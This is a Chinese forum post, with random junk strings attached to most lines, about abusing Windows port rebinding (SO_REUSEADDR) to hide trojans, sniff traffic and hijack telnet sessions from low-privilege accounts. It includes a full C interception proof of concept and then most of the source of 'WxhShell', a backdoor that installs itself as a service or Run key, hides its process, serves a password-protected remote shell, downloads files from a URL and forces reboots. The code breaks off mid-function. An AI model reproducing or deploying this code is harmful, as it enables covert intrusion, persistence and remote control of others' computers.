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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p`ZGV97  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }e6:&`a xD  
cE#Y,-f  
  saddr.sin_family = AF_INET; s;)tLJ!  
;<Q_4 V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @J)vuGS  
&0blHDMj{#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `fHiY.-  
:"^$7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  HuC lO  
Y`RfE  
  这意味着什么?意味着可以进行如下的攻击: F:U_gW?  
>.A:6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cZ,_O~  
z[Qv}pv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r#}%sof  
mcracj[ B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q?q m~wD  
smNr%}_g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6C5qW8q]u3  
w|ei*L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [!$>:_Vq/  
Tj#XsD?J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <;K/Yv'{r  
n*uZ=M_/Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Melc -[  
y%AJ>@/;  
  #include \FM- FQK  
  #include vUNE! j  
  #include pu#<qD*w  
  #include    %;gWl1&5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Lr&tpB<  
  int main() q5Mif\  
  { gr7_oJ:R  
  WORD wVersionRequested; &0TheY;srf  
  DWORD ret; K!mgh7Dx  
  WSADATA wsaData; Hs`  '](  
  BOOL val; HBu>BSv:  
  SOCKADDR_IN saddr; YG|T;/-  
  SOCKADDR_IN scaddr; mUw,q;{  
  int err; L i^V?  
  SOCKET s; oPV"JGa/B4  
  SOCKET sc; c`Cn9bX  
  int caddsize; `z.#O\@o  
  HANDLE mt; _XtY/7n  
  DWORD tid;   <k1gc,*  
  wVersionRequested = MAKEWORD( 2, 2 ); NI)nf;C  
  err = WSAStartup( wVersionRequested, &wsaData ); %mJ)pMV  
  if ( err != 0 ) { T@XiG:b7  
  printf("error!WSAStartup failed!\n"); 4#uoPkLK  
  return -1; \k8_ZJw  
  } ShP V!$0  
  saddr.sin_family = AF_INET; `.XU|J*z,  
   fE iEy%o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xg&vZzcl  
:|TBsd|/x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $+j )  
  saddr.sin_port = htons(23); a{=~#u8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MJoC*8QxM  
  { ~]Jfg$'  
  printf("error!socket failed!\n"); <Th.}=  
  return -1; j7zQ&ANF  
  } D1a4+AyI  
  val = TRUE; Zuf&maa S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4a~_hkY]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !k) ?H* ^@  
  { :gn!3P}p?  
  printf("error!setsockopt failed!\n"); Qp}<8/BM\  
  return -1; K9iR>put  
  } (A_9;uL^_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >E#4mm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uNjy&I:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4{ &   
UWp(3FQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D]REZuHOI  
  { MtljI6  
  ret=GetLastError(); Y`v&YcX;  
  printf("error!bind failed!\n"); %!RQ:?=  
  return -1; n@f@-d$m\<  
  } RY&~{yl$"1  
  listen(s,2); _'Z@ < ,L  
  while(1) f32nO  
  { r=;k[*;{  
  caddsize = sizeof(scaddr); M*Xzr .6  
  //接受连接请求 qmGB~N|N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9b>a<Z  
  if(sc!=INVALID_SOCKET) (msJ:SG  
  { .W\Fa2}%av  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Om*Dy}  
  if(mt==NULL) E*zk?G|  
  { +9t@eHJT1  
  printf("Thread Creat Failed!\n"); P_}$|zj7  
  break; FK>r c3 q  
  } Zx6BK=4G  
  } B(hNBq7  
  CloseHandle(mt); |dO1w.x/  
  } G9jtL$}E<  
  closesocket(s); 8oK30?  
  WSACleanup(); e5dwq  
  return 0; xYbF76B  
  }   r BaK$Ut  
  DWORD WINAPI ClientThread(LPVOID lpParam) PeOgXg)L`z  
  { @U,cj>K  
  SOCKET ss = (SOCKET)lpParam; AyWCb  
  SOCKET sc; g_`8K,6ln  
  unsigned char buf[4096]; #*fB~Os:  
  SOCKADDR_IN saddr; iPao54Z  
  long num; =6'A8d  
  DWORD val;  c`TgxMu  
  DWORD ret; v?}/WKe+0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z 'j%.Dd8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Mppb34y  
  saddr.sin_family = AF_INET; y3vOb, 4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  -H{{  
  saddr.sin_port = htons(23); $%/Zm*H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `C3F?Lch  
  { ~b e&T:7.  
  printf("error!socket failed!\n"); GCrMrZ6  
  return -1; {"s8X(#_sC  
  } 1cPi>?R:  
  val = 100; Z|u_DaSrr|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w] VvH"?  
  { OF)X(bi4j  
  ret = GetLastError(); *<KY^;  
  return -1; Bi]%bl>%  
  } FYzl-7!Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) % nR:Rc!  
  { 7kO 1d{u6b  
  ret = GetLastError(); K-K+%U  
  return -1; %k"-rmW  
  } I3$v-OiL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7l?-2I'c  
  { &iTsuA/7  
  printf("error!socket connect failed!\n"); rkV ZP!7!  
  closesocket(sc); F4*f_lP  
  closesocket(ss); +K&ze:-Z  
  return -1; #+XKfumLk  
  } ]:F]VRPT  
  while(1) w$1.h'2  
  { 8YCtU9D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $uboOfS83G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7#Mi`W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]itvu:pl%  
  num = recv(ss,buf,4096,0); qRNGe8  
  if(num>0) <w[)T`4N  
  send(sc,buf,num,0); w(VH>t  
  else if(num==0) 7p|Pv;wp|  
  break; ?k/Uw'J4u/  
  num = recv(sc,buf,4096,0); j5AW}   
  if(num>0) 9+pnpaZB0  
  send(ss,buf,num,0); o|*,<5t  
  else if(num==0) ${ e{#  
  break; WKP=[o^  
  } iidK}<o  
  closesocket(ss); P'zA=Rd&~>  
  closesocket(sc); 97Whn*  
  return 0 ; k9a-\UIMet  
  } VEJ Tw  
TJ#<wIiX  
e<q;` H  
========================================================== p=p,sJ/@  
th !Gc  
下边附上一个代码,,WXhSHELL RE*;nSVFt  
bjbm"~  
========================================================== w}+jfO9  
d^4!=^HN  
#include "stdafx.h" 8g$pfHt|e  
*PD7H9m  
#include <stdio.h> (T,ST3{*k  
#include <string.h> IU&n!5d$)|  
#include <windows.h> (.Sj"6+  
#include <winsock2.h> .^uNzN~  
#include <winsvc.h> k: D<Q  
#include <urlmon.h> .F |yxj;I7  
sOv:/'  
#pragma comment (lib, "Ws2_32.lib") wTqgH@rGtR  
#pragma comment (lib, "urlmon.lib") zK?[6n89f  
?z p$Wz;k  
#define MAX_USER   100 // 最大客户端连接数 GkVV%0;&J1  
#define BUF_SOCK   200 // sock buffer h ~v8Q_6  
#define KEY_BUFF   255 // 输入 buffer 90 (JP-  
`N;JM3 ck  
#define REBOOT     0   // 重启 Ee^2stc-  
#define SHUTDOWN   1   // 关机 XXvM*"3D5  
1ih|b8)Dn  
#define DEF_PORT   5000 // 监听端口 y3 kXfSe  
0rooL<~fa  
#define REG_LEN     16   // 注册表键长度 _>0 I9.[5  
#define SVC_LEN     80   // NT服务名长度 |}=xA%)  
bt"*@NJ$  
// 从dll定义API Iy'a2@   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x+47CDDu3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rdSkGb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0"LJ{:plz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5@6F8:x}V  
??)IPRv?yF  
// wxhshell配置信息 \\xoOA.  
struct WSCFG { -6@#Nq_iWU  
  int ws_port;         // 监听端口 gM&XVhQJ\  
  char ws_passstr[REG_LEN]; // 口令 ;X*I,g.+H  
  int ws_autoins;       // 安装标记, 1=yes 0=no :.J Ad$>P  
  char ws_regname[REG_LEN]; // 注册表键名 Gg8F>y<[R  
  char ws_svcname[REG_LEN]; // 服务名 s: pmB\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .liVlo@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  YH@p\#Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e+Vn@-L;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .7_<0&kW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 90X<Qs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <>%2HRn<u  
M*<Ee]u  
}; 2Jm#3zFYz3  
tFn_{fCc>  
// default Wxhshell configuration 4zzJ5,S1  
struct WSCFG wscfg={DEF_PORT, lp+Uox  
    "xuhuanlingzhe", }fU"s"  
    1, Lk#8G>U  
    "Wxhshell", Qv~lH&jG  
    "Wxhshell", e#BxlC  
            "WxhShell Service", EIug)S~  
    "Wrsky Windows CmdShell Service", {Dupk0'(  
    "Please Input Your Password: ", k nTCX  
  1, C;>!SRCp  
  "http://www.wrsky.com/wxhshell.exe", Z4KYVHD,  
  "Wxhshell.exe" wkc)2z   
    }; }xJ ).D  
Y#7sDd!N|  
// 消息定义模块 =jz [}5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )jm!bR`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yGj'0c::  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b v5BV  
char *msg_ws_ext="\n\rExit."; 4z6kFQgu  
char *msg_ws_end="\n\rQuit."; 2K wr=t  
char *msg_ws_boot="\n\rReboot..."; @` 5P^H7  
char *msg_ws_poff="\n\rShutdown..."; *QH~ z2:[  
char *msg_ws_down="\n\rSave to "; pV[SY6/  
_D.4=2@|l8  
char *msg_ws_err="\n\rErr!"; dT?mMTKn+  
char *msg_ws_ok="\n\rOK!"; "!,)Pv  
t[}&*2"$/  
char ExeFile[MAX_PATH]; I'[gGK4 F  
int nUser = 0; XN|[8+#U<@  
HANDLE handles[MAX_USER]; '8Wu9 phT  
int OsIsNt; JP{Y Q:NF  
ZW>iq M^9  
SERVICE_STATUS       serviceStatus; ~'lYQ[7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pd^"MG  
r|av|7R  
// 函数声明 Dqu?mg;L  
int Install(void); tK7v&[cI  
int Uninstall(void); wjy<{I  
int DownloadFile(char *sURL, SOCKET wsh); ]Ub"NLYV  
int Boot(int flag); grVPu! B;  
void HideProc(void); -RI&uFqOI  
int GetOsVer(void); :yxP3e%rp  
int Wxhshell(SOCKET wsl); 4m1@lnjp  
void TalkWithClient(void *cs);  \uG^w(*)  
int CmdShell(SOCKET sock); ,B2p\  
int StartFromService(void); L5DeLF+  
int StartWxhshell(LPSTR lpCmdLine); ze"`5z26|  
_D"V^4^yqu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F,}7rhY(U^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '"C& dia  
B}fd#dr  
// 数据结构和表定义 Fzmc#?  
SERVICE_TABLE_ENTRY DispatchTable[] = '/2)I8  
{ /`s{!t#Y  
{wscfg.ws_svcname, NTServiceMain}, aO &!Y\=@  
{NULL, NULL} yByxy-~  
}; o#uhPUZ  
#u"$\[G  
// 自我安装 bUU\bc  
int Install(void) br;~}GR_h  
{ .C|dGE?,  
  char svExeFile[MAX_PATH]; __%){j6  
  HKEY key; fL(_V/p^  
  strcpy(svExeFile,ExeFile); Q3<ctd\]Y  
l3N '@GO  
// 如果是win9x系统,修改注册表设为自启动 'r'+$D7  
if(!OsIsNt) { UX24*0`\~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d~qZ;uw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Ycn&`s  
  RegCloseKey(key); v`&>m '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]kdU]}z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +OaBA>Jh9  
  RegCloseKey(key); ak_n  
  return 0; R!>l7p/|H)  
    } 1EMrXnv,  
  } QC Jf   
} h^v+d*R N  
else { P" aw--f(  
D4jZh+_|S  
// 如果是NT以上系统,安装为系统服务 n,#o6ali>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v8U&{pD,  
if (schSCManager!=0) ^XT;n  
{ woUt*G@  
  SC_HANDLE schService = CreateService o*5b]XWw  
  ( 7*eIs2aY  
  schSCManager, 9]gV#uF  
  wscfg.ws_svcname, Bo4iX,zu  
  wscfg.ws_svcdisp, AzMX~cd  
  SERVICE_ALL_ACCESS, ra F+Bt`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3ih:t'N-  
  SERVICE_AUTO_START, 8;i'dF:)  
  SERVICE_ERROR_NORMAL, ]D_ AZI  
  svExeFile, yRWZ/,9x   
  NULL, PG{"GiZz=  
  NULL, )uO 3v  
  NULL, Y;=GM:*H  
  NULL, ]# ;u]  
  NULL kS62]v]  
  ); F%I*m^7d  
  if (schService!=0) N)EJP ~0  
  { ts &sr  
  CloseServiceHandle(schService); 9w<k1j  
  CloseServiceHandle(schSCManager); \iH\N/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^Sc48iDc  
  strcat(svExeFile,wscfg.ws_svcname); ? @- t.N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9gFfbvd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); chu r(@Af  
  RegCloseKey(key); R:y u  
  return 0; X\|h:ce  
    } OouR4  
  } yK>s]65&  
  CloseServiceHandle(schSCManager); >mMmc!u>G  
} mr+8[0  
} ;F:Qz^=.a  
COL_c<\  
return 1; <3 I0$?xL  
} }LwKi-G?  
/Z2 g >  
// 自我卸载 2NF#mWZ(s  
int Uninstall(void) Y'?{yx{  
{ S[y?>  
  HKEY key; &ER,;^H `6  
,-)ww:  
if(!OsIsNt) { P G*FIRDb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9u1Fk'cxG,  
  RegDeleteValue(key,wscfg.ws_regname); Wdp4'rB  
  RegCloseKey(key); b`^mpB*6R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Lem|zo  
  RegDeleteValue(key,wscfg.ws_regname); oF.H?lG7`  
  RegCloseKey(key); $yZ(ws  
  return 0; Q oWjC  
  } KV|ywcGhT  
} d[&Ah~,  
} i>PKE.  
else { }-PV%MNud  
eR!K8W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^ 20x\K  
if (schSCManager!=0) +pjU4>)  
{ *}Gu'EU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aFDCVm%U|  
  if (schService!=0) h5ZxxtGU  
  { VMW<?V 2Z  
  if(DeleteService(schService)!=0) { hQ Lh}}B  
  CloseServiceHandle(schService); ,QHn} 3fW  
  CloseServiceHandle(schSCManager); ~p$ncIr2Q  
  return 0; wb6$R};?  
  } e:(~=9}Li  
  CloseServiceHandle(schService); &\Yd)#B/  
  } 8Og)(BC  
  CloseServiceHandle(schSCManager); ZowPga  
} 7J$Yd976  
} '?b.t2  
8zH/a   
return 1; UpqDGd7M  
} }\d3   
$F~hL?"?  
// 从指定url下载文件 Ffr6P }I  
int DownloadFile(char *sURL, SOCKET wsh) n$jf($*  
{ ,CjJO -  
  HRESULT hr; &;@U54,wV  
char seps[]= "/"; \\,z[C  
char *token; n4G53+y'  
char *file; jIL$hqo  
char myURL[MAX_PATH]; LJBDB6  
char myFILE[MAX_PATH]; q^+Z>   
@-BgPDi.Z  
strcpy(myURL,sURL); J!*Pg<  
  token=strtok(myURL,seps); Zq>}SR  
  while(token!=NULL) BXX1G  
  { <P<^,aC/j  
    file=token; W'<cAg?  
  token=strtok(NULL,seps); c$]NXKcA  
  } G+l9QaFv  
Y\ G^W8  
GetCurrentDirectory(MAX_PATH,myFILE); 'gv7&$X}4  
strcat(myFILE, "\\"); OvW/{  
strcat(myFILE, file); bHH=MLZR:  
  send(wsh,myFILE,strlen(myFILE),0); .@;,'Xw1~  
send(wsh,"...",3,0); >jBnNA@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .X(ocs$}  
  if(hr==S_OK) da53XEF&  
return 0; ^p!bteA>  
else s*W)BK|+?  
return 1; w\3'wD!  
7`6JK  
} IXmO1*o@  
Is !DiB  
// 系统电源模块 }lt]]094,  
int Boot(int flag) &_y+hV{  
{ %]@K}!)2  
  HANDLE hToken; DwC8?s*2H  
  TOKEN_PRIVILEGES tkp; z/t:gc.  
/WI HG0D  
  if(OsIsNt) { -Fs^^={Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9wC:8@`6E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O5p]E7/e  
    tkp.PrivilegeCount = 1; 2F#R;B#2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zx}.mt#}8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "227 U)Q  
if(flag==REBOOT) { ?#X`Eu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @OPyT  
  return 0; )SYZ*=ezl.  
} ;j/-ndd&&  
else { 6'N!)b^-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )04lf*ti  
  return 0; ';?b99  
} /A) v $Bv=  
  } O[fgn;@|  
  else { ]]Da/^K=Z  
if(flag==REBOOT) { +kTa>U<?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JSQ*8wDcl  
  return 0; .o5r;KD  
} o$r]Z1  
else { 1f1J'du  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;.r >  
  return 0; ,/g\;#:{@]  
} s(I7}oRWsL  
} kM\O2 ay  
 <XxFR  
return 1; lYu1m  
} ;DKwv}  
!&Q3>8l  
// win9x进程隐藏模块 $zBG19 [%  
void HideProc(void) hOx">yki  
{ 3f :I<S7  
U;:,$]+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +xlxhF  
  if ( hKernel != NULL ) ~4iI G}Y<  
  { Th%1eLQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tl3{)(ezx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b_ |  
    FreeLibrary(hKernel); /-39od0  
  } tnmuCz  
N+PW,a  
return; ^eEj 5Rh  
} e+F5FAMR68  
G K @]61b  
// 获取操作系统版本 f.=4p^  
int GetOsVer(void) pstQithS  
{ SJ-g2aAT  
  OSVERSIONINFO winfo; $0Y&r]'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0PnW|N0  
  GetVersionEx(&winfo);  ~Rcd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z~xN ]=  
  return 1; [#td  
  else 05MtQB   
  return 0; V|.aud=7z  
} va8V{q@t'  
zY|]bP[NEH  
// 客户端句柄模块 AAdRuO{l1  
int Wxhshell(SOCKET wsl) ^ >ca*g  
{ *[7,@S/<F  
  SOCKET wsh; v[6BESu  
  struct sockaddr_in client; b~b(Ed{r  
  DWORD myID; <5(8LMF  
=D4EPfQn1  
  while(nUser<MAX_USER) LZG^\c$  
{ v-) eT  
  int nSize=sizeof(client); l#o43xr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Em@h5V  
  if(wsh==INVALID_SOCKET) return 1; E!VAA=  
[JVI@1T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,/W< E  
if(handles[nUser]==0) ]+ ':=&+:  
  closesocket(wsh); $#@4i4TN-  
else 9MLvHrB;  
  nUser++; ;?2vW8{p<  
  } AEnS_Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }]zmp/;a  
GGF;T&DWad  
  return 0; {zUc*9  
} {7eKv+30  
n/8Kb.Vf  
// 关闭 socket Xx|&%b{{r  
void CloseIt(SOCKET wsh) X{#@ :z$  
{ ^^?DYC   
closesocket(wsh); 2ZtqZ64i  
nUser--; 7 Nwi\#o  
ExitThread(0); dY\"'LtF  
} e|Sg?ocR  
`z` `d*_  
// 客户端请求句柄 @mJN  
void TalkWithClient(void *cs) 9'toj%XQ  
{ kFM'?L&  
{|xwvTl J  
  SOCKET wsh=(SOCKET)cs; qW7"qw=   
  char pwd[SVC_LEN]; NTL#!  
  char cmd[KEY_BUFF]; m4Wn$Z  
char chr[1]; sD{b0mZT  
int i,j; pN0c'COy^  
`6mHt6"h  
  while (nUser < MAX_USER) { f aO8 &  
UWn}0:6t  
if(wscfg.ws_passstr) { mZ;yk(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cfeX (0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +X*`}-3  
  //ZeroMemory(pwd,KEY_BUFF); FYcMvY  
      i=0; ,uKvE`H  
  while(i<SVC_LEN) { &{]%=stI  
@su{Uno8/  
  // 设置超时 z}bnw2d]  
  fd_set FdRead; {sm={q  
  struct timeval TimeOut; d BlOU.B  
  FD_ZERO(&FdRead); U*&ZQw  
  FD_SET(wsh,&FdRead); b=|&0B$E  
  TimeOut.tv_sec=8; |}M']Vz  
  TimeOut.tv_usec=0; 9x?;;qC"m9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K%=n \ Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }=;>T)QmMO  
R\.huOJh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); doR'=@ W  
  pwd=chr[0]; uAvs  
  if(chr[0]==0xd || chr[0]==0xa) { mLk Z4OZ  
  pwd=0; z)VIbEy  
  break; "]_|c\98  
  } k@8#Byl|  
  i++; |O4A+S  
    } .@6]_h;  
+cV!=gDT  
  // 如果是非法用户,关闭 socket uPF yRWK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u4<r$[]V  
} ]R4)FH|><  
HJJ ^pk&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xu:m~8%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L|q<Bpz  
#h3+T*5} 6  
while(1) { 4{vd6T}V!  
Eq8OAuN  
  ZeroMemory(cmd,KEY_BUFF); ?J~JQe42  
b<F 4_WF  
      // 自动支持客户端 telnet标准   bf74 "  
  j=0; :T\WYKX3C  
  while(j<KEY_BUFF) { Nu_ w@T\l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G wW#Ww;Oc  
  cmd[j]=chr[0]; kQ#eWk J,  
  if(chr[0]==0xa || chr[0]==0xd) { 4C*3#/TR  
  cmd[j]=0; @l(Y6m|v\  
  break; DYWC]*  
  } _"sRL} -Z  
  j++; w@: ]]R  
    } ,{Ab=xV  
`5 6QX'?  
  // 下载文件 )2FO+_K?T  
  if(strstr(cmd,"http://")) { poeXi\e!(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OpL 6Y+<  
  if(DownloadFile(cmd,wsh)) w//w$}v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=rr6/k  
  else b}4/4Z.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z>,X$ Y6<  
  } 4w z 6%  
  else { qXI30Yo#d  
*n*y!z  
    switch(cmd[0]) { zl:D|h77  
  9#(QS+q~  
  // 帮助 [*vN`AfE  
  case '?': { 1}BNG,n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T8441qo{>  
    break; <dN=d3S  
  } iCK$ o_`?  
  // 安装 O5{XT]:  
  case 'i': { x5|v# -F ^  
    if(Install()) ;Bb5KD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vUK>4^{J5  
    else _#4,&bh8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\M_q">npc  
    break; :7ngVc  
    } _B1uE2j9  
  // 卸载 J:lwq@u  
  case 'r': { {@#L'i|  
    if(Uninstall()) 0l6iv[qu5w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,>UmKrYo  
    else H n!vTB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yy)a,clZ*$  
    break; ,jnRt%W  
    } Uu X"AFy~\  
  // 显示 wxhshell 所在路径 s4$m<"~  
  case 'p': { 4sj%:  
    char svExeFile[MAX_PATH]; nwo!A3w:  
    strcpy(svExeFile,"\n\r"); IA^)`l7H  
      strcat(svExeFile,ExeFile); I.u,f:Fl'  
        send(wsh,svExeFile,strlen(svExeFile),0); 3rY /6{  
    break; )ofm_R'q*  
    } 4:mCXP,x  
  // 重启 <y)E>Fl  
  case 'b': { d TGA5c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7zDiHac  
    if(Boot(REBOOT)) = .oHnMX2M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Oo &}oAj  
    else { NQ9Ojj{#  
    closesocket(wsh); A+ 0,i  
    ExitThread(0); E'c%d[:H,  
    } !@g)10u  
    break; 1f4 bt6[  
    } ;/LD)$_  
  // 关机 u+D[_yd^  
